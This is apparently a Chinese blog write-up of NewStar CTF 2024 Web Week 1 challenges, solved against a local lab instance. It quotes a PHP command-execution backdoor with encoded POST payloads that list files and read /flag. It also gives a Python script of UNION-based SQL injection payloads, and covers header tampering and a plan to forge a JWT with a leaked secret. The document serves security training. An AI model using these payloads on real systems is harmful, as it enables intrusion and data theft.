Huajiの小窝.

NewStar CTF 2024 Web Week1复现

2025/07/18
loading

NewStar CTF 2024 Web Week1复现

因为主包假期准备专攻web手,所以现在刷题只刷web了,其他方向到时候要学的话再补

平台链接https://ctf.xidian.edu.cn/training/14

记得用websocket reflector x

我这里全让他连到127.0.0.1:48254了

写于7.17

headach3

登上去返回

My HEAD(er) aches!!!!!
HELP ME DOCTOR!!!

查看响应头发现fl3g:flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

会赢吗

进页面之后自动跳转到http://127.0.0.1:48254/3ntranc3

ctrl+u查看源代码,发现

1
<!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->

访问http://127.0.0.1:48254/4cqu1siti0n

题目提示js,所以看一眼js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");

所以控制台输入revealFlag(“4cqu1siti0n”);

返回

1
2
Promise { <state>: "pending" } 
恭喜你!你获得了第二部分的 flag: IV95NF9yM2Fs …… 时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/s34l

第三段也是js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');

form.addEventListener('submit', async function (event) {
event.preventDefault();


if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}

try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});

if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});

所以我们可以先获取一个csrf_token

使用document.getElementById(‘csrf_token’).value

把id是state的内容改成”解封”即可,

1
第三部分Flag: MXlfR3I0c1B, 你解救了五条悟!下一关: /Ap3x

第四部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<body>
<div class="overlay"></div>
<div class="content">
<h1>会赢吗?</h1>
<h2>现代最强的归来,五条悟的复活宣言!</h2>
<p>绝对的强者,由此而生的孤独,教会你爱的是....</p>
<form id="winForm" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">会赢的!</button>
</form>
<noscript>
<form class="s" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">无量空处!!</button>
</form>
</noscript>

<p id="message"></p>
</div>
<script>
document.querySelector('form').addEventListener('submit', function (event) {
event.preventDefault();
alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
});

(function () {
const originalConsoleLog = console.log;
console.log = function () {
originalConsoleLog.apply(console, arguments);
alert("你觉得你能这么简单地获取到线索?");
};
})();
</script>
</body>

注意到有noscript标签,禁用js就又出现一个button

{“flag”:”fSkpKcyF9”,”nextLevel”:null}

拼接flag:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9

base64解码

flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

这题可能要用dirsearch所以我用了另一个ip:192.168.139.1:48254,但虚拟机还是连不上,过段时间专门研究一下吧

根据题目提示robots,所以访问http://127.0.0.1:48254/robots.txt

1
2
User-agent: *
Disallow: /backd0or.php

访问后门,返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?> <?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

分析可以看出来cmd需要进行base64编码,key是To Base64->reverse->MD5->To Base64

ls的payload:cmd=bHM=&key=N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=

1
backd0or.php index.php robots.txt 

ls /的payload:cmd=bHMgLw==&key=ZTk0ZDNmOWQyNzBmNTczNGMwZTYwNDY3ZDQ0ZTdkNDY=

1
bin boot dev etc flag home lib lib64 media mnt my_init my_service opt proc root run sbin srv sys tmp usr var 

cat /flag的payload:

cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

谢谢皮蛋

sql注入的题目,刚好这几天在做sql的题,这题的payload又要进行base64编码,所以刚好写个脚本练练手。

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64

payload1="-1 union select 1,database()#"
payload2="-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#"
payload3="-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Fl4g'#"
payload4="-1 union select 1,group_concat(value) from Fl4g#"

d={"id":base64.b64encode(payload4.encode())}
r=requests.post("http://127.0.0.1:48254/",data=d)
print(r.text)

PangBai 过家家(1)(未出)

这似乎是解题数量最少的一个

  • 第一个界面题目hint:PangBai 的头部(Header)里便隐藏着一些秘密,需要你主动去发现。

    所以看请求里有个Location:/aaf6f587-2176-4f35-ae1a-f15cb08018da

    故访问http://127.0.0.1:48254/aaf6f587-2176-4f35-ae1a-f15cb08018da

  • 到第二个界面

    hint:向 PangBai 询问(Query)一下(ask=miao)吧 ~

    所以访问http://127.0.0.1:48254/?ask=miao

  • 第三个界面

    hint:用另一种方法(Method)打声招呼(say=hello)吧 ~

    用post加上即可

  • 第四个界面

    hint:PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!

    设置User-Agent:Papa/5.0(看了wp说这里的ua需要写标准)

    https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/User-Agent

    此时提示需要将 say 字段改成”玛卡巴卡阿卡哇卡米卡玛卡呣”

  • 第五个界面

    hint:PangBai 依然对你比较警惕,因此「玛卡巴卡阿卡哇卡米卡玛卡呣」或许是不可省略的。

    所以用patch协议发一个包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    PATCH /?ask=miao HTTP/1.1
    Host: 127.0.0.1:48254
    User-Agent: Papa/1.0
    Content-Type: multipart/form-data; boundary=abc
    Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.NRniulOohxCiXwRr0HwZkHnClUvmscw8nG4tj5ibXFI
    Content-Length: 178

    --abc
    Content-Disposition: form-data; name="file"; filename="1.zip"

    123
    --abc
    Content-Disposition: form-data; name="say"

    玛卡巴卡阿卡哇卡米卡玛卡呣
    --abc--

    response:

    1
    2
    3
    4
    5
    6
    HTTP/1.1 302 Found
    set-cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.2V4DHSNnWXgwF9MlRAkx6pxvrqZ0LDV0V0GfhdtzWZY; Max-Age=86400; Path=/
    Location: /?ask=miao
    x-powered-by: Hono
    Date: Thu, 17 Jul 2025 14:37:49 GMT
    Content-Length: 0
  • 第六部分

    hint:PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。 你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。 「像■■■■验体■■不可能■■■■ JWT 这种■■ H4oQ8AgYw5KlqPbF ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」 「……」

    所以去jwt,发现secret刚好是H4oQ8AgYw5KlqPbF

    扔到jwt.io

    1
    2
    3
    4
    5
    HMACSHA256(
    base64UrlEncode(header)+"."+
    base64UrlEncode(payload),
    H4oQ8AgYw5KlqPbF
    )

    jwt网站更新了,需要重新手写这个secret,所以就没跑出来

    这里附上原本的WP

    TIP
    
    修改 level 为 0 而不是 7,是本题的一个彩蛋。本关卡不断提示「一方通行」,而「一方通行」作为动画番剧《魔法禁书目录》《某科学的超电磁炮》中的人物,是能够稳定晋升为 Level 6 的强者,却被 Level 0 的「上条当麻」多次击败。但即使不了解该内容,也可以通过多次尝试找到 Level 0,做安全需要反常人的思维,这应当作为一种习惯。
    

    第〇关·终章

    点击提示中的「从梦中醒来」,过完一个片尾小彩蛋即获得 Flag 内容。

CATALOG
  1. 1. NewStar CTF 2024 Web Week1复现
    1. 1.1. headach3
    2. 1.2. 会赢吗
    3. 1.3. 智械危机
    4. 1.4. 谢谢皮蛋
    5. 1.5. PangBai 过家家(1)(未出)